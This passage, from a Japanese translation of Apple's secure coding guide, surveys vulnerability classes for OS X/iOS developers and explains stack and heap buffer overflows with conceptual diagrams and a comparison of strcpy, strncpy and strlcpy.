なヘルパやデーモンの 設 計 (85 ページ)では 権 限 の 分 離 という 指 針 に 従 い ヘルパア プリケーションを 設 計 する 手 順 を 解 説 します 9

セキュリティに 配 慮 したコーディングのための 指 針 関 連 項 目 さらに 付 録 セキュリティに 関 する 開 発 者 向 けのチェックリスト (99 ページ)には アプリケー ションの 出 荷 前 に 実 施 するべき 事 項 をリストにまとめてあります 付 録 バンドル 提 供 するソフトウェ アのセキュリティに 関 する 考 慮 事 項 (117 ページ)では OS Xにバンドルして 提 供 するアプリケー ションを 開 発 する 場 合 の 指 針 を 示 します 関 連 項 目 この 資 料 は OS X/iOSアプリケーションの 開 発 者 を 対 象 に セキュリティ 上 の 脆 弱 性 や プログラム 開 発 に 際 しての 実 践 的 な 指 針 をまとめたものです セキュリティに 配 慮 したプログラム 開 発 に 関 し て あらゆる 開 発 者 が 知 っておくべき 事 項 は 次 の 書 籍 や 資 料 を 参 照 してください Building Secure Software (Viega McGraw Addison Wesley 2002)- セキュリティに 配 慮 した プログラム 開 発 に 関 する 一 般 論 特 にCでのプログラミングやスクリプト 記 述 に 関 する 話 題 Secure Programming for Linux and Unix HOWTO (Wheeler)- http://www.dwheeler.com/secureprograms/から 入 手 可 いくつかの 種 類 の 脆 弱 性 について およびUNIXベースのオペレーティング システムに 関 するプログラミング 上 のヒント(その 多 くはOS Xにも 適 用 可 ) Security and Usability:Designing Secure Systems that People Can Use (Cranor Garfinkel O'Reilly 2005)- セキュリティ 向 上 に 資 するユーザインターフェイスの 開 発 に 関 する 情 報 セキュリティ 関 係 の OS X 用 (および その 旨 注 記 している 場 合 はiOS 用 )のAPI(アプリケーション プログラミングインターフェイス)については Appleが 公 開 している 以 下 の 資 料 を 参 照 してくださ い セキュリティに 関 するいくつかの 概 念 と OS Xが 備 えるセキュリティ 機 能 については Security Overview 安 全 なネットワーク 処 理 については Cryptographic Services Guide Secure Transport Reference CFNetwork Programming Guide OS X 用 の 認 可 / 認 証 処 理 APIについては Authentication, Authorization, and Permissions Guide Authorization Services Programming Guide Authorization Services C Reference Security Foundation Framework Reference ディジタル 証 明 書 を 用 いた 認 証 については Cryptographic Services Guide Certificate, Key, and Trust Services Reference (ios 版 もあり) Certificate, Key, and Trust Services Programming Guide パスワードその 他 の 機 密 事 項 を 保 存 する 安 全 なストレージについては Cryptographic Services Guide KeychainServicesReference (ios 版 もあり) KeychainServicesProgrammingGuide ウェブアプリケーション 設 計 におけるセキュリティについては http://www.owasp.org/を 参 照 10

脆 弱 性 の 類 型 ソフトウェアに 関 するセキュリティ 上 の 脆 弱 性 の 多 くは 次 に 挙 げる 類 型 のいずれかに 当 てはまりま す バッファオーバーフロー 入 力 の 検 証 漏 れ 競 合 状 態 アクセス 制 御 に 関 する 問 題 認 証 認 可 暗 号 処 理 に 関 する 弱 点 以 下 それぞれの 類 型 について 性 質 を 簡 単 に 説 明 します バッファオーバーフロー バッファオーバーフローは アプリケーションがバッファの 末 尾 より 後 に( 場 合 によっては 先 頭 より も 前 に) データを 書 き 込 もうとするために 起 こります その 結 果 アプリケーションがクラッシュし データが 破 損 するほか 攻 撃 者 が 不 正 に 権 限 を 昇 格 さ せ 当 該 アプリケーションが 稼 働 しているシステムを 脅 かすこともありえます ソフトウェアセキュリティに 関 する 多 くの 書 籍 が 脆 弱 性 をもたらす 主 な 原 因 としてバッファオー バーフローを 挙 げています 正 確 な 数 字 を 示 すのは 困 難 ですが アメリカのコンピュータ 緊 急 事 態 対 策 チーム(US-CERT United States Computer Emergency Readiness Team)が2004 年 に 報 告 した 事 象 のう ち 約 20%がバッファオーバーフローに 関 係 するものでした アプリケーションやシステムソフトウェアは ユーザやファイルから あるいはネットワークを 介 し て 入 力 されたデータを 一 時 的 にせよ 保 存 する 必 要 があります 特 殊 な 例 外 を 除 き アプリケー ションメモリの 多 くは 次 のいずれかに 分 類 されます スタック - アプリケーションが 持 つアドレス 空 間 のうち 関 数 メソッド ブロックその 他 の 個 々の 呼 び 出 しごとに 確 保 される 領 域 ヒープ - アプリケーションが 確 保 する 汎 用 のストレージ 領 域 ここに 格 納 したデータは アプリ ケーションが 動 作 している 限 りなくなりません(アプリケーションが 明 示 的 に 不 要 になった 旨 をOSに 通 知 して 解 放 した 場 合 を 除 く) 11

脆 弱 性 の 類 型 入 力 の 検 証 漏 れ あるクラスから 生 成 したインスタンス mallocで 確 保 したデータ 領 域 Core Foundationのオブ ジェクト その 他 各 種 のアプリケーションデータは ヒープに 格 納 されます(ただし 当 該 デー タを 参 照 するローカル 変 数 はスタック 上 にあります) バッファオーバーフロー 攻 撃 は 一 般 に スタックとヒープのいずれか または 両 方 を 破 壊 します 詳 しくは バッファのオーバーフローやアンダーフローの 回 避 (18 ページ)を 参 照 してください 入 力 の 検 証 漏 れ 一 般 に プログラムが 受 け 付 けた 入 力 データはすべて 問 題 がないか 検 査 したうえで 処 理 しなければ なりません たとえばグラフィックスファイルに 収 容 されている 画 像 は 200 300ピクセルというような 大 きさに なっているはずです 200-1ということは 通 常 ありえません しかし このような 画 像 をファイルに 収 容 しようとしても ( 規 約 や 常 識 を 別 にすれば) 妨 げるものは 何 もないのです このようなファイ ルを 読 み 込 み 不 正 な 大 きさのバッファを 確 保 しようとすれば ヒープがオーバーフローしてしまう 恐 れがあります したがって 入 力 データが 適 正 であるかどうか 注 意 深 く 検 証 しなければなりませ ん この 処 理 を 一 般 に 入 力 の 検 証 (validation)あるいは 消 毒 (サニタイズ) (sanity check)と 呼 びます 信 頼 できない 情 報 源 からの 入 力 はすべて 悪 意 をもった 攻 撃 である 可 能 性 を 想 定 しなければなりませ ん(ここでは 一 般 ユーザも 信 頼 できない 情 報 源 に 当 たります) 具 体 的 には 次 のようなものがあ ります テキスト 欄 に 入 力 された 文 字 列 URLに 埋 め 込 まれたプログラム 起 動 コマンド 音 声 動 画 グラフィックスなどのファイルで ユーザや 他 のプロセスから 渡 され プログラム が 読 み 込 んで 再 生 するもの コマンドライン 入 力 信 頼 できないサーバからネットワーク 経 由 で 読 み 込 むあらゆるデータ 信 頼 できるサーバからネットワーク 経 由 で 読 み 込 む 信 頼 できないデータ(ユーザがBBS 経 由 で 登 録 したHTMLファイルや 写 真 など) ハッカはプログラムに 考 え 得 る 限 りのさまざまな 不 正 データを 与 えてみます その 結 果 プログラ ムがクラッシュするなど 異 常 な 動 作 になった 場 合 問 題 点 を 悪 用 する 方 法 を 見 出 そうとします 検 証 漏 れがあると オペレーティングシステムの 制 御 を 奪 う データを 盗 用 する ユーザのディスクを 破 損 させるなど さまざまに 悪 用 できるのです iphone 上 で Appleが 認 可 していないソフトウェアを 動 かす いわゆる 脱 獄 (jail break)に 利 用 されたこともあります 12

脆 弱 性 の 類 型 競 合 状 態 入 力 の 検 証 とプロセス 間 通 信 (35 ページ)では 検 証 漏 れによって 生 じる 主 な 脆 弱 性 と その 対 処 法 を 説 明 します 競 合 状 態 競 合 状 態 とは イベントの 発 生 順 序 が 変 わることにより 動 作 も 変 わってしまうことをいいます 所 定 の 順 序 でなければプログラムが 正 常 に 機 能 しない 場 合 これはバグであると 考 えなければなりませ ん 攻 撃 者 がこれを 悪 用 して 不 正 なコードを 注 入 する ファイル 名 を 変 更 するなど 正 常 な 動 作 を 妨 害 できる 場 合 競 合 状 態 はセキュリティ 上 の 脆 弱 性 になります また 一 連 の 処 理 の 間 隙 を 悪 用 し て 正 常 な 動 作 を 妨 げることもありえます 競 合 状 態 およびその 回 避 方 法 については 競 合 状 態 と 安 全 なファイル 操 作 (46 ページ)を 参 照 して ください プロセス 間 通 信 独 立 したプロセス( 同 じプログラム 内 あるいは 別 個 のプログラム)が 情 報 を 共 有 しなければなら ないことがあります 一 般 に オペレーティングシステムが 提 供 する 共 有 メモリやメッセージ 交 換 プロトコル(ソケットなど)の 仕 組 みを 利 用 して 実 装 することになるでしょう こういった プロセ ス 間 通 信 に 用 いるメッセージ 交 換 プロトコルも しばしば 攻 撃 に 対 する 脆 弱 性 になります したがっ て アプリケーションを 開 発 する 際 には 常 に 通 信 チャネルで 結 ばれた 相 手 のプロセスは 信 頼 できな いかも 知 れない と 想 定 しなければなりません 安 全 なプロセス 間 通 信 の 方 法 については 入 力 の 検 証 とプロセス 間 通 信 (35 ページ)を 参 照 して ください 危 険 なファイル 操 作 TOCTOU(Time Of Check, Time Of Use 検 査 と 実 行 の 時 間 差 )による 競 合 状 態 以 外 にも 危 険 なファイ ル 操 作 は 少 なくありません 開 発 者 は 通 常 ファイルの 所 有 者 保 存 場 所 属 性 が 想 定 どおりである として 処 理 を 記 述 しますが この 想 定 が 正 しくないこともありえます たとえば プログラム 自 身 が 生 成 したファイルは いつでも 書 き 出 し 可 能 と 考 えて 実 装 するでしょう しかし 当 該 ファイルの 操 作 権 限 や 各 種 フラグを 攻 撃 者 が 変 更 していても 書 き 出 し 処 理 の 結 果 コードを 検 査 していなければ 検 出 できません 危 険 なファイル 操 作 としては 次 のようなものがあります 他 のユーザが 書 き 出 し 可 能 な 場 所 にあるファイルの 読 み 書 き 13

脆 弱 性 の 類 型 アクセス 制 御 に 関 する 問 題 ファイルの 型 デバイスID リンクその 他 の 設 定 を 確 認 せずに 使 うこと ファイル 操 作 の 後 結 果 コードを 確 認 しないこと ファイルにローカルのパス 名 があれば それはローカルファイルであると 想 定 すること その 他 各 種 の 危 険 なファイル 操 作 については ファイル 操 作 の 安 全 性 確 保 (50 ページ)を 参 照 し てください アクセス 制 御 に 関 する 問 題 アクセス 制 御 とは 誰 に 何 をする 権 限 があるか を 制 御 することです コンピュータに 対 する 物 理 的 なアクセスの 制 御 (サーバが 置 いてある 部 屋 の 施 錠 など)から リソース(ファイルなど)に 対 して 誰 がアクセスできるか どのような 操 作 が 可 能 か( 読 み 込 みのみ 許 可 するなど) 制 御 することまで 広 い 範 囲 にわたります アクセス 制 御 機 構 には オペレーティングシステムが 強 制 するもの 個 々の アプリケーションやサーバが 適 用 するもの サービス(ネットワークプロトコルなど)が 行 うものが あります セキュリティ 上 の 脆 弱 性 の 多 くは アクセス 制 御 の 不 注 意 な/ 不 正 な 使 用 あるいは 制 御 の 仕 組 みをまったく 使 わないことによって 起 こります ソフトウェアに 関 する 脆 弱 性 を 問 題 にする 場 合 権 限 (privilege)という 言 葉 が 出 てきます 攻 撃 者 は 何 らかの 方 法 で 本 来 よりも 高 い 権 限 を 不 正 に 得 ようとします これは 操 作 権 限 (permission)と も 言 い オペレーティングシステムが 許 可 するアクセス 権 を 意 味 します ファイルやディレクトリの 読 み 書 きが 許 されるユーザ ファイルやディレクトリの 属 性 (ファイルに 対 する 操 作 権 限 など) プ ログラムを 実 行 できるユーザ その 他 の 制 限 された 操 作 (ハードウェアデバイスへのアクセス ネッ トワーク 設 定 の 変 更 など)を 実 施 できるユーザなどを 制 御 します OS Xにおけるファイルの 操 作 権 限 やアクセス 制 御 については File System Programming Guide を 参 照 してください 攻 撃 者 は 特 に システムを 無 制 限 に 操 作 できる ルート 権 限 を 獲 得 しようとします ルート 権 限 で 動 作 するアプリケーションは システムのあらゆる 箇 所 にアクセスし あらゆる 事 項 を 変 更 できます 脆 弱 性 の 中 には ルート 権 限 が 奪 われてしまうような 不 適 切 なプログラムが 多 数 あります バッ ファオーバーフローや 競 合 状 態 を 悪 用 し 本 来 よりも 高 い 権 限 に 昇 格 してしまう という 攻 撃 もあり ます あるいは 制 限 されるべきシステムファイルへのアクセスを 許 してしまう 既 にルート 権 限 で 動 作 しているプログラム(アプリケーションのインストーラなど)の 弱 点 を 悪 用 される などの 事 象 が 考 えられます したがってプログラムは できるだけ 小 さな 権 限 のみを 与 えて 実 行 することが 重 要 です どうしても 権 限 を 昇 格 する 必 要 があっても できるだけ 短 時 間 にとどめなければなりません アクセス 制 御 の 多 くはアプリケーションが 強 制 するもので あるユーザの 認 証 (authentication)をお こなった 上 で ある 操 作 の 実 行 を 認 可 (authorization)する 仕 組 みです 認 証 の 方 法 としては ユー ザ 名 とパスワードを 求 める スマートカードや 生 体 スキャンを 利 用 する などがあります アプリ ケーションは OS X Authorization ServicesのAPIを 利 用 することにより システムに 組 み 込 まれたさま ざまなユーザ 認 証 手 段 を 活 用 できます 独 自 に 認 証 の 仕 組 みを 開 発 しても 安 全 性 が 高 まるとは 限 り 14

脆 弱 性 の 類 型 安 全 なストレージと 暗 号 化 ません 認 証 機 構 を 迂 回 できるようなバグを 突 かれる 恐 れがありますし システム 標 準 の 認 証 機 構 に 比 べて 安 全 性 に 劣 る 可 能 性 もあります 認 証 と 認 可 について 詳 しくは Security Overview を 参 照 してください ディジタル 証 明 書 (digital certificate)は 電 子 メールをはじめ インターネットでは 広 く 利 用 されて いる 仕 組 みです ユーザやサーバを 認 証 し 通 信 内 容 を 暗 号 化 し データにディジタル 署 名 を 施 すこ とにより 改 竄 されていないこと 作 成 者 と 称 する 本 人 が 作 成 したものであることを 証 明 できます しかしこれを 不 正 に あるいは 不 注 意 に 使 えば セキュリティ 上 の 脆 弱 性 になりえます たとえば あるサーバ 管 理 プログラムは 自 己 署 名 証 明 書 を 添 付 して 販 売 されていました システム 管 理 者 が 適 切 な 証 明 書 に 差 し 替 えるものと 想 定 していたのです しかし 多 くのシステム 管 理 者 がこの 作 業 を 省 略 してしまった 結 果 攻 撃 者 は 容 易 に サーバとの 通 信 内 容 を 解 読 できたのでした [CVE-2004-0927] 攻 撃 者 が 物 理 的 に コンピュータの 前 で 長 時 間 操 作 できれば どんなアクセス 制 御 機 構 があっても 意 味 がありません たとえばファイルの 操 作 権 限 をどのように 設 定 しても ディスクから 直 接 データを 読 み 込 もうという 行 為 に 対 して オペレーティングシステムの 保 護 機 構 は 無 力 です コンピュータへ の 物 理 的 アクセスを 制 限 し 高 度 な 暗 号 化 を 施 す 以 外 に データの 盗 用 や 改 竄 を 防 ぐことはできない でしょう アクセス 制 御 の 仕 組 みをプログラムに 組 み 込 む 方 法 については 安 全 な 権 限 昇 格 (62 ページ)を 参 照 してください 安 全 なストレージと 暗 号 化 暗 号 化 は 機 密 情 報 を 保 護 する 目 的 で データを 伝 送 する 際 あるいは 保 存 する 際 に 利 用 されます(ベ ンダーが 提 供 するデータの 不 正 な 複 製 や 無 権 限 者 による 利 用 の 防 止 については ここでは 取 り 上 げ ません) OS Xには 暗 号 技 術 にもとづくさまざまなセキュリティ 機 構 が 組 み 込 まれています FileVault 暗 号 化 したディスクイメージの 作 成 キーチェーン 証 明 書 を 用 いたディジタル 署 名 電 子 メールの 暗 号 化 SSL/TLSによる 安 全 なネットワーク 通 信 Kerberos 認 証 iosには 次 のようなセキュリティ 機 能 があります パスコード( 認 可 なしのデバイス 利 用 を 防 止 ) データの 暗 号 化 15

脆 弱 性 の 類 型 ソーシャルエンジニアリング データブロックにディジタル 署 名 を 施 す 機 能 キーチェーン SSL/TLSによる 安 全 なネットワーク 通 信 サービスにはそれぞれ 適 切 な 用 途 と 制 限 があります たとえばFileVaultは ユーザのルートボリュー ム 全 体 (OS X v10.7 以 降 )またはホームディレクトリ(それより 前 の 版 )を 暗 号 化 する 仕 組 みで 何 人 かが 共 有 するコンピュータや 攻 撃 者 の 手 に 渡 る 可 能 性 があるラップトップ 機 などでは 非 常 に 重 要 なセキュリティ 機 能 です しかし 物 理 的 にアクセスされる 恐 れは 小 さい 一 方 使 用 中 にネット ワーク 経 由 で 攻 撃 されうる 状 況 では あまり 役 に 立 ちません その 場 合 ホームディレクトリの 中 身 は 暗 号 化 されていない 状 態 であり 脅 威 は 安 全 でないネットワークや 共 有 ファイルの 側 にあるからで す さらに FileVaultの 安 全 性 は ユーザが 設 定 したパスワード 次 第 です 容 易 に 推 測 できるパスワー ドであったり 目 につきやすい 場 所 に 書 いてあったりした 場 合 暗 号 化 を 施 しても 無 意 味 です 独 自 の 暗 号 化 技 法 を 開 発 し あるいはよく 知 られている 暗 号 化 アルゴリズムを 独 自 に 実 装 すれば 安 全 性 が 高 まると 思 われるかも 知 れませんが この 分 野 の 専 門 家 でない 限 り これはまったくの 誤 りで す 安 全 かつ 頑 健 で 決 して 解 読 されない 暗 号 文 を 生 成 するコードの 記 述 は 非 常 に 難 しく ほぼ 間 違 いなく 脆 弱 性 がひそんでいると 言 ってよいでしょう OS Xのユーザインターフェイスや 高 レベルAPI の 形 で 提 供 されている 暗 号 サービスでは 不 充 分 であれば オープンソースとして 公 開 されているCSSM Cryptographic Services Managerが 有 用 です 詳 しくは オープンソースのセキュリティ 処 理 コードに 付 属 の 資 料 を 参 照 してください(http://developer.apple.com/darwin/projects/security/からダウンロード 可 ) iosであれば 開 発 用 APIを 介 して 必 要 なサービスはすべて 得 られます OS XおよびiOSのセキュリティ 機 能 について 詳 しくは Authentication, Authorization, and Permissions Guide を 参 照 してください ソーシャルエンジニアリング ユーザデータやソフトウェアを 保 護 する 数 々の 機 能 の 中 で 最 も 弱 いのは 多 くの 場 合 ユーザ 自 身 で す バッファオーバーフロー 競 合 状 態 などの 脆 弱 性 に 対 する 取 り 組 みが 進 むにつれ 攻 撃 者 はユー ザを 巧 みに 騙 して 不 正 なコードを 実 行 し あるいはパスワード クレジットカード 番 号 などの 個 人 情 報 を 盗 用 しようと 試 みるようになりました 攻 撃 者 がユーザに 罠 をしかけて 機 密 情 報 を 入 手 し あ るいはコンピュータにアクセスする 行 為 を ソーシャルエンジニアリングと 言 います たとえば2005 年 2 月 事 実 上 すべてのアメリカ 国 民 の 信 用 情 報 や 社 会 保 障 番 号 をはじめとする 個 人 情 報 を 管 理 していた 大 企 業 が 少 なくとも15 万 人 分 の 情 報 を まっとうなビジネスマンを 装 った 詐 欺 師 に 盗 まれたと 発 表 しました ガートナ(www.gartner.com)によると フィッシング 攻 撃 による 銀 行 やクレジットカード 会 社 の 被 害 は 2003 年 約 12 億 ドルに 及 び しかも 年 を 追 って 増 え 続 けていま す 2004 年 5 月 から2005 年 5 月 の 間 に 全 米 で 約 120 万 人 のコンピュータユーザが フィッシングによ る 被 害 を 受 けた という 見 積 もりもあります 16

脆 弱 性 の 類 型 ソーシャルエンジニアリング ソフトウェア 開 発 者 はこのような 攻 撃 に 対 処 するため ユーザの 意 識 向 上 を 図 るとともに ユーザイ ンターフェイス 設 計 を 改 善 して 意 思 決 定 に 必 要 な 情 報 をきちんと 提 供 するよう 努 めています セキュリティ 向 上 に 資 するユーザインターフェイス 設 計 については 安 全 なユーザインターフェイ スの 設 計 (77 ページ)を 参 照 してください 17

バッファのオーバーフローやアンダーフロー の 回 避 バッファオーバーフローは スタックとヒープのどちらでも 起 こりうる 現 象 で C Objective-C C++ のコードには 数 多 く 存 在 する 脆 弱 性 の 原 因 です この 章 では バッファのオーバーフローやアンダー フローを 回 避 するためのコーディング 技 法 を 説 明 するとともに これを 検 出 するツールを 挙 げ 安 全 なコードの 例 を 示 します プログラムが(ユーザやファイルから ネットワーク 経 由 で その 他 ) 何 らかの 入 力 を 受 け 付 ける 箇 所 では 常 に 適 切 でないデータを 受 け 取 る 可 能 性 があります たとえば メモリ 上 に 確 保 した 領 域 の 長 さを 超 えているかも 知 れません その 場 合 意 識 的 に 切 り 詰 めなければ 他 のデータ 領 域 を 上 書 きしてしまうことになります このよ うな 状 態 をバッファオーバーフローと 言 います 上 書 きされてしまった 領 域 に プログラムの 動 作 に 不 可 欠 なデータがあった 場 合 条 件 によって 顕 在 化 したりしなかったりする 見 極 めが 難 しいバグに なります 他 の 実 行 コードのアドレスを 格 納 していた 領 域 を 上 書 きしてしまうと これが 指 し 示 す 不 正 なコードを 実 行 する 恐 れがあります 同 様 に ( 想 定 の 誤 り 長 さの 値 の 誤 り 生 のデータをCの 文 字 列 として 複 製 した 場 合 など) 入 力 デー タの 長 さが 確 保 しておいた 領 域 よりも 短 い という 現 象 をバッファアンダーフローと 言 います その 結 果 誤 動 作 が 発 生 したり スタックやヒープに 置 かれたデータが 漏 洩 したりする 可 能 性 がありま す プログラミング 言 語 の 多 くは 入 力 データとストレージを 検 査 し オーバーフローやアンダーフロー を 防 ぐ 仕 組 みを 備 えていますが C Objective-C C++にはその 仕 組 みがありません 多 くのプログラ ムはCのライブラリをリンクするので 標 準 ライブラリに 脆 弱 性 があれば 安 全 な 言 語 で 記 述 し たプログラムでも 問 題 が 生 じえます したがって 自 分 が 記 述 したコードにバッファオーバーフロー の 問 題 がないとしても できるだけ 小 さな 権 限 のみを 与 えて 実 行 するべきでしょう 詳 しくは 安 全 な 権 限 昇 格 (62 ページ)を 参 照 してください ダイアログボックスを 介 して 渡 される 文 字 列 のように 問 題 が 誰 の 目 にも 明 らかな 入 力 ばかりではあ りません 次 のような 事 例 もあります 1. あるオペレーティングシステムのヘルプ 機 能 で 起 こったバッファオーバーフローは 攻 撃 者 が 巧 みに 作 成 した 埋 め 込 み 画 像 が 原 因 でした 2. 広 く 使 われているメディアプレイヤーは 特 定 の 型 の 音 声 ファイルをうまく 検 証 できないという 問 題 がありました そこで 攻 撃 者 は 音 声 ファイルに 仕 掛 けを 施 してバッファオーバーフローを 引 き 起 こし 不 正 なコードを 実 行 できたのです 18

バッファのオーバーフローやアンダーフローの 回 避 スタックオーバーフロー [ 1 CVE-2006-1591 2 CVE-2006-1370] オーバーフローは 大 きく スタックで 起 こるものとヒープで 起 こるものの2つに 分 かれます それぞ れについて 以 下 詳 しく 説 明 します スタックオーバーフロー 多 くのオペレーティングシステムは 各 アプリケーションに(マルチスレッド 型 であれば 各 スレッド に)スタックを 割 り 当 てます ローカルスコープのデータはここに 格 納 します これをスタックフレームと 呼 ばれる 単 位 に 分 割 します 各 スタックフレームには ある 関 数 の 呼 び 出 し 単 位 に 対 応 するデータが 格 納 されます 具 体 的 には 関 数 に 渡 される 引 数 当 該 関 数 のローカル 変 数 リンケージ 情 報 ( 呼 び 出 し 元 のアドレス すなわち 関 数 処 理 終 了 後 の 戻 り 先 )などのデータで す コンパイラに 指 定 したフラグによっては 次 のスタックフレームの 先 頭 アドレスも 格 納 すること があります 実 際 の 内 容 やその 順 序 は オペレーティングシステムやCPUのアーキテクチャによって 異 なります 関 数 呼 び 出 しの 都 度 新 しいスタックフレームを スタックの 一 番 上 に 追 加 します 呼 び 出 し 元 に 制 御 を 戻 す 際 には 一 番 上 のスタックフレームを 除 去 します 実 行 中 のある 時 点 でアプリケーションが 直 接 アクセスできるのは 一 番 上 のスタックフレームにあるデータだけです(ポインタを 使 って 回 避 することも 可 能 ですが 一 般 にはお 勧 めできません) この 設 計 には 再 帰 呼 び 出 しを 可 能 にする 目 的 もあります 関 数 呼 び 出 しが 入 れ 子 になっていても それぞれのローカル 変 数 や 引 数 を 格 納 する 領 域 を 確 保 できるのです 19

バッファのオーバーフローやアンダーフローの 回 避 スタックオーバーフロー 図 2-1にスタックの 編 成 例 を 示 します もっとも これは 考 え 方 を 示 しただけで 実 際 の 内 容 や 順 序 はCPUのアーキテクチャによって 異 なります OS X ABI Function Call Guide には OS Xが 動 作 する すべてのアーキテクチャについて 関 数 呼 び 出 し 規 約 の 説 明 が 載 っています 図 2-1 スタック 配 置 の 概 念 図 Function A data Parameters for call to function B Function A Function A return address Function B data Parameters for call to function C Function B Function B return address Function C data Space for parameters for next subroutine call Function C Function C return address アプリケーションは 一 般 に 入 力 データがすべて 意 図 する 目 的 に 合 っていること(たとえばファイ ル 名 であれば 合 理 的 な 長 さであり 不 正 な 文 字 を 含 んでいないこと)を 検 査 するべきです 残 念 な がら ユーザは 不 合 理 なことをしない という 想 定 の 下 検 査 を 省 略 してしまう 開 発 者 も 少 なくあり ません その 結 果 固 定 長 のバッファに 収 まりきらないデータを 格 納 しようとして 問 題 が 発 生 することがあ ります ユーザに 悪 意 があれば(あるいは 悪 意 ある 者 が 作 成 したデータファイルを 開 こうとすれ ば) バッファ 長 を 超 えるデータを 渡 すこともありうるのです 関 数 はこのデータを 格 納 するために 限 られた 空 間 しか 確 保 していないので スタック 上 の 他 のデータを 上 書 きしてしまうことになりま す 図 2-2のように 悪 賢 い 攻 撃 者 は 関 数 の 戻 りアドレスの 箇 所 を 不 正 なコードのアドレスで 上 書 きし ます すると 関 数 Cの 実 行 が 終 了 したとき 本 来 の 関 数 Bではなく 攻 撃 者 が 用 意 した 不 正 なコード に 制 御 が 渡 ってしまいます 20

バッファのオーバーフローやアンダーフローの 回 避 ヒープオーバーフロー 攻 撃 者 のコードを 実 行 するのはアプリケーション 自 身 なので その 操 作 権 限 で 動 作 することになりま す ユーザが 管 理 者 としてログインしていれば(OS Xの 場 合 はデフォルトの 設 定 ) 攻 撃 者 はコン ピュータの 完 全 な 制 御 権 を 手 にし ディスクからデータを 読 み 込 む 電 子 メールを 送 信 するなど 何 でもできてしまいます(iOSアプリケーションは 制 限 された 権 限 の 下 で 動 作 するので デバイスを 完 全 に 制 御 される 危 険 は 若 干 小 さくなります) 図 2-2 バッファオーバーフロー 発 生 後 のスタックの 様 子 Function A data Parameters for call to function B Function A Function A return address Function B data Address of attackerʼs code Parameters for call Parameter to function overflow C Function B Function B return address Function C data Space for parameters for next subroutine call Function C Function C return address リンケージ 情 報 に 対 する 攻 撃 だけでなく スタック 上 のローカル 変 数 や 引 数 の 値 を 変 更 し プログラ ムの 動 作 を 変 える 攻 撃 もあります たとえば 所 定 のホストに 接 続 するところで データ 構 造 体 を 改 竄 することにより 別 の( 不 正 な)ホストに 接 続 させることが 考 えられます ヒープオーバーフロー ヒープは 先 に 説 明 したように 動 的 に 確 保 するメモリ 領 域 として 使 われます malloc 関 数 やC++の new 演 算 子 あるいはこれと 同 等 の 関 数 で メモリブロックを 確 保 しあるいはオブジェクトのインス タンスを 生 成 すると ヒープ 上 の 領 域 を 指 すポインタが 返 されます 21

バッファのオーバーフローやアンダーフローの 回 避 ヒープオーバーフロー ヒープに 関 数 やメソッドの 戻 りアドレスが 保 存 されているわけではないし ヒープ 上 のデータを 改 変 したときの 効 果 が( 攻 撃 者 にとって) 明 らかとは 限 らないので バッファオーバーフローを 起 こす 攻 撃 は 多 少 困 難 です 攻 撃 者 の 興 味 を 惹 く 度 合 いが 若 干 小 さいので スタックオーバーフローほど 心 配 する 必 要 はないかも 知 れません 図 2-1に ヒープのオーバーフローを 悪 用 してポインタを 上 書 きする 様 子 を 示 します 図 2-3 ヒープオーバーフロー Data Data Pointer Data Data Data Buffer overflow Buffer Data 一 般 にヒープは スタックに 比 べて オーバーフローの 悪 用 が 困 難 です それでも 成 功 した 例 は 少 な くありません これにはデータの 改 竄 とオブジェクトの 改 竄 という2つの 方 法 があります 攻 撃 者 はヒープのオーバーフローを 悪 用 して 重 要 なデータを 上 書 きし プログラムをクラッシュさせ たり 後 で 不 正 な 操 作 ができるよう ある 値 を 変 更 (たとえば ユーザIDを 変 更 してアクセス 権 を 獲 得 )したりします このデータの 変 更 を 非 制 御 データ(non-control-data) 攻 撃 と 言 います ヒープ 上 のデータの 多 くは ユーザ 入 力 の 単 なる 複 製 ではなく プログラムが 内 部 的 に 生 成 したものです このようなデータは アプリケーションが 領 域 を 確 保 する 方 法 や 時 期 にもよりますが メモリ 上 の 同 じ 位 置 にとどまり 続 ける 傾 向 があります ヒープ 上 のバッファのオーバーフローを 悪 用 し ポインタを 上 書 きする 形 の 攻 撃 もあります C++ Objective-Cなど 多 くの 言 語 で ヒープ 上 に 確 保 するオブジェクトには 関 数 やデータポインタの 表 が 付 随 しています 攻 撃 者 は オーバーフローを 悪 用 してポインタを 書 き 換 えることにより データを 置 き 換 えたり インスタンスメソッドを 差 し 替 えたりするのです 22

バッファのオーバーフローやアンダーフローの 回 避 文 字 列 の 操 作 ヒープ 上 のバッファのオーバーフローを 悪 用 した 攻 撃 は 複 雑 で 難 しいものですが クラッカは 困 難 へ の 挑 戦 それ 自 体 を 目 的 として 次 のような 攻 撃 をしかけることがあります 1. ビットマップ 画 像 をデコードするコードのヒープオーバーフローを 利 用 して 遠 隔 操 作 により 任 意 のコードを 実 行 する 2. ネットワークサーバのヒープオーバーフロー 脆 弱 性 を 利 用 して Content-Length ヘッダに 負 の 値 を 指 定 したTTP POST 要 求 を 送 りつけ 任 意 のコードを 実 行 する [ 1 CVE-2006-0006 2 CVE-2005-3655] 文 字 列 の 操 作 入 力 の 形 式 が 文 字 列 であることは 珍 しくありません 多 くの 文 字 列 操 作 関 数 には 長 さを 検 査 する 機 能 が 組 み 込 まれていないので しばしばバッファオーバーフローの 原 因 になります 図 2-4に 3 種 類 の 文 字 列 複 製 関 数 が 想 定 よりも 長 い 文 字 列 を 扱 う 方 法 を 示 します 図 2-4 Cの 文 字 列 操 作 関 数 とバッファオーバーフロー Char destination[5]; char *source = LARGER ; strcpy(destination, source); L A R G E R \0 strncpy(destination, source, sizeof(destination)); L A R G E strlcpy(destination, source, sizeof(destination)); L A R G \0 図 のように strcpy 関 数 は 複 製 元 の 文 字 列 をそのまま 書 き 込 むため 領 域 を 超 えて 上 書 きしてしま います strncpy 関 数 は 正 しい 長 さに 切 り 詰 めますが 末 尾 にヌル 文 字 が 入 りません したがって この 文 字 列 を 読 み 込 もうとすると 領 域 を 超 え 次 に 現 れるヌル 文 字 まですべてを 文 字 列 として 扱 ってしまい ます この 関 数 自 体 は 安 全 でも 誤 用 を 招 きやすいという 点 で それほど 安 全 ではないと 考 えるべき でしょう strncpyを 安 全 に 使 うためには strncpy 実 行 後 末 尾 バイトに 明 示 的 にヌルを 埋 めるか あらかじめヌルを 埋 めておき バッファ 長 よりも1バイト 短 い 値 を 最 大 長 として 渡 す 必 要 があります 完 全 に 安 全 なのはstrlcpy 関 数 だけです 文 字 列 をバッファ 長 より1バイト 短 い 長 さに 切 り 詰 め 末 尾 にヌル 文 字 を 埋 めます 23

